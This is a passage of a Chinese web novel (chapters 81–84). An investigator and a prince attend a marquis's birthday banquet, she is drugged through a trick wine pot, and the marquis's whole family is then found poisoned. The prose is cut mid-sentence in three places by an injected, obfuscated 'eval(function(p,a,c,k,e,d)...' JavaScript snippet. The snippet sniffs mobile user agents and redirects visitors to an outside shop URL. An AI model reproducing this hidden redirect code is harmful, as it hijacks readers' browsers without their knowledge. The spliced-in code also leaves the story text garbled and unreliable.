等人看清时,树上已经挂满了粉嫩的桃子。 若非之前在船上已经见过这个道具,李希言都不敢肯定这桃子是假的。 “麻姑”却还不满意。 “凡桃罢了。” 树冠中跳下一个十一二岁的少年,穿了一身喜庆的红衣裳,头发也是用红头绳绑的冲天鬏。 “这不是小钉子吗?”容朗差点笑出声。 “他今日倒是能上台。” 只见小钉子正对着“麻姑”唱道:“仙子稍等,我这就去蟠桃林取桃。” 他唱完一句,又爬上树冠,随手扯了一根树上的藤蔓朝天上抛去。 那本该柔软的藤蔓一下变得坚硬,直直地插入云霄之中。 小钉子在叫好声中动作敏捷地顺着藤蔓向上爬。 容朗忍不住赞叹:“原来在京城也见过类似的戏法,可是没有他们这个编得有趣。” 后面的瑞王已经趴在二人中间,插嘴道:“宫里的都没这个有意思。” 小钉子在众人的视线中消失在云霄之中,仿佛真的进入了天宫一般。 在座的人都仰着头望着。 不过片刻,小钉子手拿着一筐桃子,从绳子上滑了下来。 “麻姑”高举手上的花篮:“小仙童,劳烦将仙桃放入此篮。” 小钉子将桃子一个个放了进去,那些桃子一进入花篮像是消失了一般。 装完了桃子,“麻姑”拿着花篮一晃。 “酒成。” “仙子。”小钉子变出一个银制的长嘴酒壶,“以此宝壶盛仙酒。” “麻姑”接过酒壶,边唱边打开酒壶在花篮里盛酒。 小钉子回到树冠中消失,树冠中忽然飘扬来许许多多飞扬的蝴蝶。 “麻姑”轻移莲步,在蝴蝶中穿行而来。 仙子下凡,不外乎如此。 而更让人惊讶的还在后面,数名扮成神仙的戏子纷至沓来。 有花仙,有八仙,还有许多仙童仙女。 蝴蝶在空中飞舞,一时之间,仿佛真如同在仙境一般。 戏子们唱完贺寿词。 朝着老夫人一拜。 “画堂今日寿筵开,相邀众仙到此来。殷勤祝寿瑶池界,共祝长生赴瑶台。” “麻姑”举起酒壶唱道:“此酒本是百花练,灵芝仙草精益鲜。凡人若得饮此酒,可保长生永绵绵。”他走上前,向老夫人唱道:“手捧佳酿瑶池献,整束彩衣拜金阶。老夫人在上,麻姑前来拜寿。” 见他举着酒壶准备倒酒,老夫人身边的婢女配合着端起酒杯接着。 没想到,那酒壶里还真倒出来酒来。 “麻姑”给老夫人倒完酒,又依次给平南侯府的人都倒了一杯才又回到中间和其他戏子一起开唱。 这洪福班唱戏的本事不比瑞祥班变戏法的本事差。 唱腔高亢婉转,如丝竹一般。 正在他们唱着的时候,侯府的仆人又给每个客人都盛上了一盏酒, 李希言垂下眼。 飞扬的蝴蝶没入酒中消失不见,只给酒液添上了一抹绯色。 “有意思。” “愿岁岁年年增寿考!”台上的戏已经唱完。 老夫人红光满面,拊掌称赞:“好!还不快赏。” 她身边的婢女立即拿着准备好的小箱子给了唱戏的戏子们。 戏子退下,一出大戏落幕。 平南侯起身朝着众人举杯:“诸位,不如我们共饮一杯仙酒?” 众人自然是不会拒绝。 如此有意思的戏,即使这碗中是什么劣质酒,也值得一喝。 宴席过了大半,之后的歌舞又是无聊。 众人又喝了不少酒,都有些迷迷糊糊。 平南侯见状说道:“敝府花园尚可一观,诸位若想走动,可随意前往。” 这话一出,席上瞬间少了十来号人。 容朗扯了扯李希言的袖子,被酒意晕染的眼微微发红。 “李少使,陪我走走?” 李希言揉了揉酸痛的太阳穴。 她也有些头晕。 “好。” 二人特意避开人群,在一个湖边的小凉亭里坐着。 “眼见着要过年了,竟然还能穿单衣。”容朗拂了拂袖子。 “不冷不热,刚刚好。”李希言扭头看着他,忽然问道,“今日那酒,你敢喝?” 容朗有些懵:“什么酒?” “你说呢?”李希言眯了眯眼睛。 容朗反应了过来。 “你是说许五娘倒的酒啊,怎么不敢?” “你就不怕酒里有东西?她手上那个酒壶可是有机关的。” 容朗轻笑:“那种药我见得多了,一闻便知是不是。那酒没有问题。况且,李少使不是也喝了吗?嗯?” 他靠的很近,鼻尖都是他身上香料的气息,没有酒味,却让人有些沉醉。 李希言蹦出四个字。 “酒没问题。” 容朗得寸进尺,刻意地向前倾身。 “万一有问题呢?” 李希言伸出手指,戳在他的肩膀上:“那就可以快点交差了。” 给朝廷命官下药,多大的罪名啊! 看他一脸满不在乎的表情。 李希言问道:“王爷就不怕真的被下药,若是真的被下了药……” “那我就给自己一刀。”容朗甩甩手,“这种药的药性不会太强。” 李希言心肝都颤了一下。 “有时候不需要真的发生什么,他们只需要抓个所谓的现行,给你扣帽子。” “李少使还不够了解我。”容朗忽然握住她的手指,上半身朝着她的方向往下压了压。 高大的身体挡住了凉亭上彩灯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14348108|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,李希言整个人都被罩住了。 “我会杀人。”容朗浅色的瞳孔暗含着杀气,“他们要真是敢如此,我当场就会让暗卫把他们全部杀掉。” 黑影中,李希言的双目微闪。 “那平南侯应该感谢他的胆小。” 容朗对上她的目光。 “我还以为李少使会说我们皇家子弟就是如此辣手无情呢。” “我没立场说这种话。” “明明肯定背后腹诽了我很多次。”容朗歪着脑袋,用脸颊蹭着她被握住的手,“真是口是心非。” 这样的动作明显已经过了度,李希言想要缩回手,却被他死死握住。 “不许,这是补偿。谁让姐姐老是在心里说我坏话。” 呼吸之间,不知过了多久。 周边传来了人声。 容朗动作一滞。 李希言借机收回手,朝着人声处望去。 在她的背后,容朗的目光染上一点赤红。 人声愈发清晰,正朝着二人的方向靠拢。 李希言当即拽起容朗走出凉亭,躲到了灌木丛后面。 “别说话,这声音是杜司马。” 杜朝觉,许家大女儿的夫君。 此时的他,正和另外一个女子在凉亭跟前说着话。 那女子二人还恰好认识。 正是之前坐在许家大小姐旁边的姑娘。 二人举止亲密,但是声音很小,听不清在说什么。 只看见杜朝觉将一小坛酒递给了那女子。 那女子笑得十分腼腆,苍白清秀的脸满是春意。 不用想就知道二人是怎么关系了。 容朗从背后虚虚揽着李希言。 “要是让许家大小姐碰到了,就有意思了。” “真会打起来。” 二人刚刚讨论了两句,杜朝觉就匆匆离开了。 只剩下那女子一人站在凉亭跟前。 容朗觉得可惜:“他太谨慎了,今日是看不到戏了。” 然而,话还没落地,一道红色的身影从远处杀来。 正是许家大小姐——许清燕。 “尹茹!你手上的是什么!” 她气势汹汹的质问。 尹茹吓得将酒坛子直往身后藏,嘴唇发着抖。 “没什么……没什么……” “什么没什么!”许清燕高上她一个头,直接一把抢了过来,“是他给你的!是不是!” “许姐姐……”尹茹抹着眼泪,看着楚楚可怜,“杜哥哥说是送给客人的,他不是特意给我的,你不要误会啊。” 许清燕更是生气:“你叫他什么!” 尹茹嗫嚅道:“我和杜哥哥一起长大,一直这样叫的啊……” 许清燕被她的作态气得脸都发紫了。 “我真的很想要这坛酒。”尹茹祈求道,“许姐姐,求您还给我。” “还给你?”许清燕冷笑,“你很喜欢?” “你知道我身子不好,只能和这种果子酒。这是杜哥哥特意给我带的。” 许清燕脸抽搐了两下,露出一个笑:“你喜欢,那就……那就是我的了。” 她贴在尹茹的耳边。 “尹茹,记住,只要是你喜欢的,不管是人还是东西,都是我的。” “许姐姐!” 不等尹茹反应,许清燕就拿着酒坛扬长而去。 尹茹小跑了两步,像是力竭一般停在原地捂着胸口喘息。 看够了戏的二人悄悄从灌木后溜走。 容朗评价道:“都不是省油的灯。” 一个娇纵,一个绵里藏针。 “杜朝觉也不差。”李希言补充。 他一个已婚男子,私下单独给一个未婚女子送东西算什么? “杜哥哥~”容朗学着哥哥尹茹的语调。 李希言被他逗得发笑,连双颊都泛起了淡淡的红晕。 “小心让别人瞧见了。” 容朗眉目带笑,看着她的笑脸。 “确实不能让别人瞧去了。” 82. 一夜之间 二人没有再回宴席,而是直接回了院子。 院子里很空,没有其他人在。 一半的绣衣使已经趁着寿宴的时间去了平南侯的产业暗中调查。 另外一半都留在宴席上吸引平南侯注意。 至于那些仆人更是忙的脚不沾地。 不知是不是喝了酒的缘故,李希言眼前的景象都在旋转,一种无法自控的恐慌涌上心头。 她加快了脚步往房里走去。 “李少使!”容朗扶住了她,一脸担忧,“怎么了?是不是不舒服?” 不舒服? 李希言使劲眨了眨眼,看向他。 她没有发现,自己已经连站着的时候都是摇摇晃晃的。 容朗摸上她的额头:“有些烫,你脸现在也很红,是不是酒劲儿上来了?” “不……”声音已经嘶哑,李希言只觉得口干舌燥,“想喝水。” 容朗叹气:“肯定是有些醉酒。” 他扶着她往屋里走。 一进屋,李希言自己就直接歪歪斜斜倒在了榻上。 “诶!”容朗急忙将她扶正,才转身去倒水。 幸好,桌上的茶水是满的。 他倒了满满一杯,回过身,想要递给她。 就在一个转身之间,李希言已经闭上了双眼,嘴里喃喃地说着什么。 不对! 容朗走上前,坐在她身边。 “来,喝水。” 喝水…… 李希言动了动嘴巴,一股甘露沁润了她的嘴唇。 水,是水! 她动了动喉咙,尽力抬起头,使劲喝了几口。 胸腔的火烧烧熄灭了些许。 此时,她才有力气缓口气。 容朗放下被她喝得干干净净的水杯,探向了她的脉搏。 阳盛热结之象? 怎么会? 她是阳虚体质啊。 难道…… 一个不好的猜想出现在他的脑海里。 “容朗……”李希言半睁着眼睛,“渴。” “我给你弄水来。” 容朗这次直接把水壶拿了过来。 李希言撑着坐起来,一把夺过水壶,对着壶嘴就喝。 因为喝得太急,几滴水珠从嘴角留下,顺着脖子滴入她的衣裳。 “慢点。”容朗看得着急,怕她被呛着。 冰凉的水下肚,内里的火仿佛被浇灭了一半。 李希言弓着背,大口大口喘着气。 容朗掏出手帕,给她擦着嘴角的水渍。 “是被下药了。”李希言已经清醒了些,瞬间做出了判断。 容朗也有此猜想,只是…… “我怎么没事?” 头晕目眩的感觉又涌了上来,李希言往后一倒,摇了摇头。 二人吃的喝的都一样……怎么会呢? “姐姐……”容朗凑到她跟前坐下,低声问道,“你好些了吗?” “好些了。” 话这样说,可是她还是紧闭着眼,眉毛也皱着,脸上的潮红依旧没有消褪。 “许清嘉手上那个酒壶有机关,她把该给你喝的酒换给我了……” 意识在眼前的一片黑暗中一点点沉溺。 休息让李希言恢复了些许力气。 她缓缓睁开双眼。 眼前像是被蒙上了一层纱,朦朦胧胧。 暖色的烛火不够明亮,只能让她看清眼前人的模样。 不怪平南侯一家用尽手段。 光是这张皮相就很好。 五官轮廓英挺,眉眼柔和却透着一股冷气,额外显出几分矜贵。那双浅色的瞳孔总是温温柔柔的,盛着笑意。她见过不少算得上俊美的男子,都是少有比他好看有气韵的,像是…… 青嶂寺的禅房门口那一大片栀子花。 很白很香。 她的眼神迷离了起来。 容朗被她赤裸裸的眼神看得有些心慌。 “姐姐……唔!” 李希言吻了上去。 容朗脑子一片空白,只傻傻地抱着她。 好吃! 李希言脑子里只有这一个念头。 她双手抓住容朗的肩膀,一把将他推倒在榻上,欺身而上,继续品尝着美味。 嘴巴被啃得有些疼,容朗悄悄调整着姿势,将人卷在怀里,扣住她的后脑勺,引导她的动作。 呼吸对撞交缠,鼻尖触碰碾压。 换气的间隙,他唇贴着唇告诉她。 “姐姐,轻一点。” 李希言啃了一口:“不,要重一点。” 容朗没有和她争辩,身体力行教着她。 要先覆盖彼此的唇,慢慢的厮磨,再轻轻地吮。 最后,才能慢慢从外到内,相缠碰触。 每一次吸气都来不及充沛气息就又很快耗尽。 热度一点点点燃了容朗。 他一只手揽着李希言的腰,一只手死死抓着身下的软榻,平日里保养得宜的手青筋爆起,微阖的眼眸泄露出浓重的欲望。 唇与唇的缝隙之间,他叹出一口气。 太折磨人了。 “坏姐姐……”他控诉了她一句,用行动“报复”了回来。 烛火摇曳,榻上的人影纠缠,倒映在窗上,起伏如绵绵的山脉,不曾断绝。 李希言是躺在床上醒来的。 身上的衣裳还完好,肚子上还盖着被子。 她腾的一下坐起来。 嘴巴上的刺痛和麻木感让她慌乱。 昨晚她都干了什么! 零碎的画面在脑内闪过,连接起记忆的片段。 她痛苦地捂住脸。 这和死亡有什么区别? 还没等她从莫大的羞耻中缓过来,某位王爷已经肿着嘴巴“飘”了过来。 “姐姐,你醒啦。” 精神紧张的李希言一下就转过了头。 然而在看清对方的脸时,她又飞快地转了回去。 三清天尊!她该怎么办啊啊啊啊! 她整个人僵硬地坐在床上,尽力保持着没有表情的样子。 容朗知道她心里想什么,一个字都没有提起昨晚的事情,反而十分正经地说道:“才寅时初呢,你不再睡一会儿?” “不用了。”李希言也已经稳住了情绪,“他们回来了吗?” “去外边的还没回来,其他人都回来了。” 李希言心里有些忐忑,手不自觉攥成了拳头。 “那……” “我说你喝醉了不舒服正睡着。”容朗坐到床边,“给你说个有趣的事儿。” 李希言只感觉自己头皮都炸开了。 他要说什么? “你还记得我们昨晚遇见的那个尹茹吗?” 李希言悬着的心一下落到实处。 “记得。” “昨晚,她回席后和许清燕吵了起来。” “哦?为了杜朝觉。” “算是吧,吵着吵着,尹茹就晕倒了。” “晕倒了?” “嗯,她一晕倒,这寿宴就只有草草收场了。平南侯气得直瞪许清燕,。” “尹茹……尹”李希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14361068|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言的手敲了一下膝盖,“是尹县令家的?” “是。” “难怪平南侯生气。” “不仅是平南侯,杜朝觉也和许清燕吵了一架。”容朗嘲讽一笑,“明明自己才是祸根。” “这种人哪有自知之明。” 见李希言的神情放松了不少,容朗才试探着开口。 “那个……药的事情。” 李希言的心瞬间乱跳了几下,几乎要蹦出胸口。 她喉咙动了动,抿了抿嘴唇:“是怎么回事?” 容朗这才慢慢说道:“我让暗卫去查过了。今晚宴会未结束的时候,许清嘉提前离席,被人带着往我们的院子里走。但是,刚走到一半,许清嘉就悄悄跑了。” “跑了?”李希言双眉紧皱,“跑哪儿去了?” “不知道,暗卫只看见她回了自己院子。” 李希言松了口气。 只要回了自己院子倒是不会出事。 “看来,是这位许五娘不屑做这种事,反手把本该下给你的药换给了我。” “难怪她倒酒的时候一直用袖子遮着手。只是……她为何要把有药的酒换给你?” 李希言也想不通。 “谁知道呢。总之……” 她突兀地停下话头。 “总之,本王的清白还是没有保住。”容朗在她耳边轻声说道,“昨晚之事,只有……你我二人知晓。” 温热的气息如同羽毛一般拂过耳朵尖。 李希言浑身一颤,茫然地点了点头。 “当然。”红红的耳朵尖就在嘴边,容朗忍不住碰了一下,“如果李少使满意,还可以再来哦。” 一触即分的触动仿佛是错觉,可是耳边的话语却是真真切切。 心虚让李希言只能缩回被窝里。 “王爷该回去休息了。” “天都要亮了。”容朗将脑袋放在枕头上,隔着被子说道,“我在……你这儿看看书不行吗?” 李希言假装没听见,故意放大了呼吸声装作睡着的模样。 “默许也是可以的意思。”容朗也不好把她逼得太紧,嘴上过了把瘾就站起身将床帘拉上,乖乖踱步坐到了书桌前 他随意拿了一本书翻得哗哗作响。 “我在认真看书啊~” 床帘的包围中,李希言一点点扯下了被子,呼吸着新鲜的空气。 药性褪去后的无力感充满了她的身体,耳边的翻书声规律而让人生出睡意。 黎明前夕,她获得了片刻的安眠。 辰时初。 “少使!不好了!”苗青的声音瞬间逼近。 容朗立即起身抵住了未锁上的门。 李希言一个激灵,从睡梦中惊醒。 她翻身坐起,使劲掐了一下大腿。 “什么事?” 房门动了动。 “少使,出事了。死人了!” 刚刚清醒的李希言骤然有一种不真实的感觉,她揉了揉眉心。 又死人了? 容朗问道:“谁死了?” “你怎么在这儿!”苗青的声音更急了。 容朗的声音很是沉稳:“我和李少使在商议正事。” 李希言也走了过来,示意他打开门。 门一打开,苗青就着急忙慌地窜了进来,警惕地上下扫视了容朗好几次。 这么早,怎么会在少使的房内? “你说,谁死了?” 李希言的问题转移了苗青的注意。 他面色变得十分沉重。 “平南侯全家,都死了。” 83. 覆巢之下 侯府的主院房门大开。 一踏进房门就看见平南侯的尸体躺在床上。 他死得不算安详。 面色青紫,鼻子出血,表情狰狞,双手像利爪一样抓着床上凌乱的被褥。 “是……中毒吗?”李希言转头朝着容朗发问。 容朗不敢确定,走上前查看了平南侯的手。 “指甲也发黑,有可能。” “下毒啊……”李希言转身,“其余人的尸体呢?” 苗青答道:“已经都安置在隔壁的院子中。只是……许家的小姐不见踪迹。” “许清嘉?”李希言忽然想起来昨晚的那些变故。 糟糕! 容朗明显也想到了这件事,起身走到她身边。 “会不会是她也遭遇了不测?” “先去她院子里看看。” 一行人疾行到了许清嘉居住的院子。 精巧的院子里乱糟糟的。 长廊上满是寻找许清嘉的仆人们。 李希言一进来就指向了其中一个穿着最富贵的婢女:“贴身婢女,过来。” 那婢女一见二人就差点吓得摔了一跤,跌跌撞撞跑了过来。 “见过王爷,见过李少使。” “许清嘉昨晚在何处?” “在……”那婢女的眼神不由地往容朗身上瞟。 “作为许清嘉的贴身婢女,既然她昨晚就没了踪迹,你为何一点都不着急?”李希言面露怒气,“本官不想知道你们侯府的污糟事,说清楚,你最后一次看到她,是什么时候?” 那婢女被说破了心思,脸已经臊得红透,低声回话道:“就昨晚亥时之后,婢子就再也没见过小娘子。” 这和容朗的暗卫跟踪的消息差不多。 “你们院子里有没有什么隐秘的地方?” 婢女思量了许久:“没有吧?” 李希言看着她一副呆样就不愿意再多问,直接调转方向走向院子深处,一个房间一个房间搜了起来。 院子后面是杂物间。 若是许清嘉想要躲藏这里是最好的地方。 正在她刚刚搜完一个房间的时候,身侧的柴房忽然被打开了门。 许清嘉从里面站了出来。 没事。 李希言松了口气。 “李少使!”许清嘉语气很冲,“你大清早的带着人跑到我的院子里做什么?” 李希言打量了她一眼,暗自考虑着要不要将侯府的惨案告诉她。 “你家里人都被杀了。”容朗的语气没有丝毫的起伏,像是在说一件再平常不过的事情。 而刚刚还昂着头的许清嘉已经被他的话震惊到说不出话。 过了许久,她才颤着手指着容朗。 “你说什么?!你敢诅咒我……” 李希言上前捏住她的手臂,将她的手臂按了下去。 那日容朗说要杀人的眼神不是开玩笑的。 “节哀。” 既然已经说破就没有再隐瞒的必要。 许清嘉浑身不住地抖。 “不可能!不可能,不可能……” 声音越来越小。 李希言无奈摇了摇头,准备转身离开。 “是你!”许清嘉一把拉住了李希言的胳膊,赤红的双目烧着腾腾的怒火,“是你克死了他们!是你,你这个灾星,你走到哪里哪里都会死人。” 一旁的容朗气得不轻,直接上前一把扯开她的纠缠。 “想下去陪他们就继续放肆!” 李希言倒是很淡定地拍了拍衣袖。 “若是这样的自我麻痹能让你好受点,你就继续吧。” 被婢女扶住的许清嘉埋着婢女的肩膀,看不清表情。 “你家人之死定然是有人报复,你若真想找回公道,先想一想到底,他们招惹过什么人。” 李希言拉住怒气勃勃的容朗。 “先去验尸。” 容朗深吸了一口气。 “好……” 院子的空地里放置了六具尸体。 尸体的表征都非常一致。 面色与指甲青黑。 女眷的尸体并没有鼻子出血的情况,几名男子都有。 李希言看着面前的六具尸体。 平南侯老夫人,平南侯,许尚安,丁氏,许佑,许清燕。 “许宇的尸体呢?” 苗青上前汇报道:“许宇是被刺死的,尸体旁边还有血迹,我们都不敢动。” “被刺死的?尸体在何处?” “就在他自己房门口。” 容朗还在前面验尸,李希言只好先招来死者的仆人们询问当时的情况。 “今日你是何时发现的尸体?” 回话的是平南侯的管事。 他拉着长脸,耷拉着眉毛,一脸愁苦。 “今早卯时正。主子们每日卯时正都要起身,今早,伺候的人一进去就……就发现主子们没了气息。” “昨晚他们都是什么时候歇下的?” “昨晚因为寿宴的缘故,主子们都睡得晚些,大概是三更天的时候才睡下的。” “都是吗?”李希言扫了一眼垂首站的仆人们。 “不是的。”一个婢女说道,“大夫人因为要操持家事,所以睡得更晚些,四更天的时候才睡的。” 李希言忽然想起来什么。 “侯府的事情都是丁夫人在打理?” “是。” “按理说,丁夫人应该早起?” 婢女脸色微红:“昨晚,昨晚……大郎君难得歇在夫人房内,所以我们都不敢去打扰。平日里,夫人一般都是寅时就要起身。今早没有听到动静,我们就卯时的时候才敢进去。” 每一个人的死亡都算是悄无声息。 全部都是仆人早上的时候才发现的。 而且每一个仆人都表示昨晚值夜的时候没有听到任何动静。 不过……现场还少了一个人,或者说是一具尸体。 “杜司马呢?” 许清嘉逃过了一劫,但是杜朝觉应该是陪着妻子留在侯府,睡在屋内的。 如今,许清燕横尸当场,杜朝觉却不见人影? 许清燕的贴身婢女眼神飘忽。 “姑爷……姑爷昨晚不在的。” “他回杜府了?”李希言看出婢女的慌乱,黑着脸严肃道,“说实话。” 那婢女害怕得咽了咽口水。 “昨晚姑爷和大娘子吵架了,二人不欢而散。” “那他睡在何处?” 婢女迷茫地摇摇头。 “管事。”李希言沉声道,“去找人。” 管事刚刚站出一步,杜朝觉得声音就远远传了过来。 “夫人!” 李希言朝院门口望去,只见杜朝觉跌跌撞撞地跑了进来,衣裳都没有穿整齐,一脸失魂落魄。 “夫人……” 正弯着腰验尸的容朗直起身,朝他招手。 “别忙着哭,来,在这儿来好好看看你夫人。” 他的语气里透着几分不耐烦。 杜朝觉动作一顿,挣扎了一下才一步一步挪了过去。 他的视线避开了许清燕的尸体。 “夫人真的死了?” “不仅是你夫人,昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14374819|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚你岳丈家所有人全都被害,除了许清嘉。”李希言蓦地出现在他身后。 杜朝觉被吓得蹦了一下。 “李……李少使。” 容朗侧开身,将尸体暴露在杜朝觉得视线中。 “杜司马,你不仔细看一看吗?” 并非是因为他不喜欢此人,而是他在李希言眼里看到了怀疑。 平南侯全家被杀,许清嘉是意外逃过,可是这个杜朝觉怎么就能够刚好躲掉? 果然,杜朝觉转移了话题。 “夫人她……他们到底是怎么回事?” 容朗的表情并不轻松。 “都是中毒之相。” “中……中毒?!”杜朝觉喃喃道,“怎么会呢……” 容朗张了张嘴终究还是没说什么。 “昨晚,你和许清燕发生了争执?” 李希言的问题带着肯定的语气杜朝觉坦然道:“是,夫人昨晚确实和我吵了一架。她脾气不好,闹得厉害,我不想和她纠缠就离开了。” “你去了哪里?” “回家了。”杜朝觉负手而立,面露不满之色,“李少使是怀疑我?” “不像。”李希言没有回答他反而直接点破了他的谎言。 杜朝觉面色微变,顿了顿叹了口气。 “并非我有意欺骗。”他声音放低了些,“昨晚我被气得慌,就去喝了花酒。” 李希言的视线在他脸上打了个转。 “杜司马对此案有何看法?” 杜朝觉有些意外,一时之间不知该如何回答。 “没关系。”李希言耸了耸肩,“妻子惨死,杜司马定然悲痛。” 毫无悲痛之色的杜朝觉:…… 他急忙解释:“我并不是……” 李希言摆摆手:“我知道你们夫妻二人感情一般。” 这种话被直白的说出,杜朝觉也只有一瞬间的窘迫。 “父母之命媒妁之言,自古皆是如此。我和清燕是奉命成婚,确实不算多和睦。” “父母之命?”李希言眉毛一挑,“怎么本官听说令堂很不情愿?” 杜朝觉慌乱了一瞬,旋即镇定道:“外头的传言罢了,家母为人再和善不过,和清燕从未有过龃龉。” “那就好。”李希言半真半假地说道,“要是连令堂那样软和的性子都受不了许夫人,那许夫人得多不堪啊。” 杜朝觉勉强笑了笑。 “李少使玩笑了。” “杜司马先下去休息吧。”也不等他回答,李希言就背过身,对着容朗问道,“情况怎么样?” 杜朝觉心里也乱的很,恍惚之间就被绣衣使请了出去。 见人走了,容朗才说道:“都是中毒死亡。” “都是……中毒?” 这一大家子人,吃用不同,居住的地方也相隔不近,怎么会齐齐中毒死亡? “嗯。但是死因不同。” “中的不同的毒?” “对。许清燕的表征和他们不一样。”容朗掀开旁边尸体的白布,露出许佑的尸体。 肉眼看上去,二人都是面色青紫,口鼻有血。 “哪里不一样?” “许清燕有呕吐的症状。”容朗捏起许清燕的袖子,袖子上有一小片秽物沾染的痕迹,“其他人身上很干净,没有秽物。” “是什么毒?” “只有许清燕的能确定,是雷公藤也就是断肠草之毒。其他人的……我不太清楚。” “少使。”苗青急步走了过来,“邓刺史到了。” 来了正好。 “快请。” 她正好有事要问他。 84. 情杀 邓松云来得急,连官服都没有穿整齐。 自己的管辖的范围内,出了灭门案,灭的还是正儿八经的侯府的门,他不急才怪! 更何况,还有监察百官的绣衣使和皇帝的亲弟弟在,他只要一个处理不好,随时都有可能上达天听! 也是见了鬼了,昨儿还好好地办着寿宴,怎么就…… 他不由看向草棚下被盖着的尸体。 不是血糊糊的,应该不是被什么刺客直接杀死的。 “李少使,我来晚了。” “不算晚。”李希言看得出来邓松云不是吃白饭的官儿,自然不会挑他的错。 “这儿情况怎么样?” “很可能都是毒杀。”容朗取下罩着口鼻的布巾,露出脸来。 “王爷?!”邓松云也自认在官场混了几十年了,是个“老江湖”,可此时也绷不住表情。 容朗坏心眼地对着他笑了笑:“怎么了?邓刺史?” 邓松云立即忍住心里的惊讶,规规矩矩行了一礼。 “下官见过王爷。” 他悄摸掐了自己一下。 疼,没做梦! “不必多礼。” 邓松云讪笑,打了个哈哈:“下官年纪大了,这眼神也真是不好,竟然没看见王爷也在。” 见他完全不追问也不好奇。 李希言暗叹。 还真是个聪明人。 “邓刺史对此案有何看法?” “寻仇。”邓松云毫不犹豫给出了这答案。 “哦?” “若是图财,应该是直接刺杀。中毒这样迂回的手段,一般都是没有能力直接杀人的人才会用。” “比如什么人?” “普通人。”邓松云摸了一把胡子,“平南侯府并不宽仁,欺压百姓的事情没少做。” “邓刺史很肯定?为何?” “因为五年前。” 五年前! 李希言记得。 容朗曾经提到过,五年前,平南侯夫人和平南侯幼子许佑的未婚妻在订婚那日前后暴毙。 她装作不知。 “五年前什么事?” 邓松云直截了当地说道:“五年前,平南侯夫人和许佑的未婚妻也是中毒而死。” “别人都说是暴毙。” “诶,话可不是这样说。”邓松云笑道,“李少使怎么和我也开始打太极?两个青壮年女子,从来又没有什么隐疾,怎么可能暴毙?只能是中毒。” “那案子邓刺史可有眉目?” “没有。”邓松云雪白的眉毛颤了颤,“案发时,我还未到此为官,只看过验尸格目,上面所写尸体的表征也只有面色苍白,没有任何中毒的迹象。我特意问过仵作,仵作说二人都是是死于心疾发作。” “可剖开验过?”容朗有些着急。 “没有。”邓松云无奈摇摇头,“平南侯怎么会允许别人剖验其夫人,那位娘子也是官宦人家,家里也不准剖验。” “这案子邓刺史细细查过?可有什么线索?”李希言还是觉得这两件事情有联系。 “自然是查过的,线索完全没有。”邓松云双手一摊,“头一晚两家人热热闹闹办了定亲的宴席,宴席上吃食全部都查过,参加宴席的人也查过,毫无线索。” 邓松云是从地方上的县尉一点点爬到刑部的,能力并不差。 他都说没有线索,那这案子确实是做得天衣无缝。 “平南侯他们的死状不太一样……”容朗将尸体的基本情况告知给邓松云。 邓松云听得直皱眉。 难道……是两波寻仇之人? 他本来还以为这一次李希言在,还能顺手把之前的案子也破了。 平南侯夫人确实不是什么好人,可是那个甄娘子实在是无辜啊! “听邓刺史所言,您似乎很了解平南侯家得罪过的人?” 李希言突来的问题让邓松云尴尬地摸了摸鼻子。 “也是为了查案。当时那案子没有线索,我这才去打听了平南侯府的事情……” 可不是他故意收集官员的情报啊! “那些东西可还在?” “在的,自然在的。我这就去拿。” 见他作势要走,李希言一把拉住他:“且慢!我还有事要问您。” 邓松云顿住脚步:“还有什么事?” “许清燕和杜司马的婚事。” “啊?” “还有尹茹。” 邓松云的表情一下变得微妙起来。 “李少使也听说了?” “看到一些,所以好奇。” 邓松云追问:“和案情有关?” “或许。” 邓松云松了口。 “那个尹娘子,是龙编县县令的女儿,和杜司马青梅竹马长大的,两家人交情也很不错。三年前,不知道怎么回事,杜司马忽然娶了许夫人。听我家夫人闲话,许夫人是用了些不好的手段嫁进去的。” “不好的手段?” “李少使见过尹娘子了吧?” “见过,看上去身子很弱。” “尹娘子本来不是这样的。是三年前去上香的时候落了水才变得体弱多病。”邓松云小声道,“虽然说是意外,但是都知道是许夫人所为……” “所以……因为尹茹的身子不好,杜家就放弃了两家的婚事?” “也不完全是为了这事。杜司马父母都是厚道人,当时还是坚持要二人成亲。只是……”邓松云斟酌了一下措辞,“生米煮成熟饭了,所以才……” “下药?!”容朗一脸气愤,“真是无耻。” 这平南侯府还真是爱使这样的下作手段! 邓松云也看不惯这样的事。 “许夫人喜杜司马俊美,许家又看中杜家世家威势,为了这种事,豁出去不要这张脸皮也不奇怪。” 看容朗一脸愤懑,又联想到侯府的那些谋划…… 邓松云猛然反应了过来。 这平南侯家里不会胆子大到给亲王下药吧? 他惊恐的眼神显然是猜到了什么。 